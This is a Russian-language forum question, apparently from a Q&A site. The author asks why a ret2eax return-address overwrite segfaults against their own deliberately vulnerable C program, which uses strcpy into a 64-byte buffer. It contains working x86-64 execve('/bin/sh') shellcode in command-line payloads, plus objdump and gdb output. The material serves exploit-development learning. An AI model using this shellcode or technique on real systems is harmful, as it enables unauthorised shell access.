У меня возникла проблема при попытке перезаписать сохраненный обратный адрес. Вот мой код:
1 #include <stdio.h>
2 #include <string.h>
3
4 void foo(char *source)
5 {
6 char buf[64];
8 printf("buf address: %p\n", buf);
9 strcpy(buf, source);
11 }
12 int main(int argc, char **argv)
13 {
14 if(argc > 1)
15 foo(argv[1]);
16 else
17 exit(0);
18
19 return 0;
20 }
Сначала с легкой и простой эксплуатацией:
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x10\xe3\xff\xff\xff\x7f"'`
buf address: 0x7fffffffe310
-> порождает оболочку
Теперь без необходимости обращаться к printf, чтобы получить адрес моего шеллкода. Я хотел попробовать ret2eax.
Поэтому я нашел его адрес с помощью objdump:
00000000004004bc <call_gmon_start>:
4004bc: 48 83 ec 08 sub $0x8,%rsp
4004c0: 48 8b 05 11 05 20 00 mov 0x200511(%rip),%rax # 6009d8 <_DYNAMIC+0x1e0>
4004c7: 48 85 c0 test %rax,%rax
4004ca: 74 02 je 4004ce <call_gmon_start+0x12>
4004cc: ff d0 callq *%rax
4004ce: 48 83 c4 08 add $0x8,%rsp
Или здесь:
0000000000400570 <frame_dummy>:
400570: 48 83 3d 78 02 20 00 cmpq $0x0,0x200278(%rip) # 6007f0 <__JCR_END__>
400577: 00
400578: 74 1b je 400595 <frame_dummy+0x25>
40057a: b8 00 00 00 00 mov $0x0,%eax
40057f: 48 85 c0 test %rax,%rax
400582: 74 11 je 400595 <frame_dummy+0x25>
400584: 55 push %rbp
400585: bf f0 07 60 00 mov $0x6007f0,%edi
40058a: 48 89 e5 mov %rsp,%rbp
40058d: ff d0 callq *%rax
Но когда я пишу:
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`
-> Я просто получаю ошибку сегментации, почему это так?
С gdb и точкой останова на retq в foo():
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332: sbb (%rax),%al
Разборка foo() при необходимости:
0x000000000040059c <+0>: push %rbp
0x000000000040059d <+1>: mov %rsp,%rbp
0x00000000004005a0 <+4>: sub $0x50,%rsp
0x00000000004005a4 <+8>: mov %rdi,-0x48(%rbp)
0x00000000004005a8 <+12>: lea -0x40(%rbp),%rax
0x00000000004005ac <+16>: mov %rax,%rsi
0x00000000004005af <+19>: mov $0x4006bc,%edi
0x00000000004005b4 <+24>: mov $0x0,%eax
0x00000000004005b9 <+29>: callq 0x400460 <printf@plt>
0x00000000004005be <+34>: mov -0x48(%rbp),%rdx
0x00000000004005c2 <+38>: lea -0x40(%rbp),%rax
0x00000000004005c6 <+42>: mov %rdx,%rsi
0x00000000004005c9 <+45>: mov %rax,%rdi
0x00000000004005cc <+48>: callq 0x400450 <strcpy@plt>
0x00000000004005d1 <+53>: leaveq
=> 0x00000000004005d2 <+54>: retq
argv[1]
больше 90 байт. Как вы думаете, это слишком много? - person Jerry_Y   schedule 23.02.2014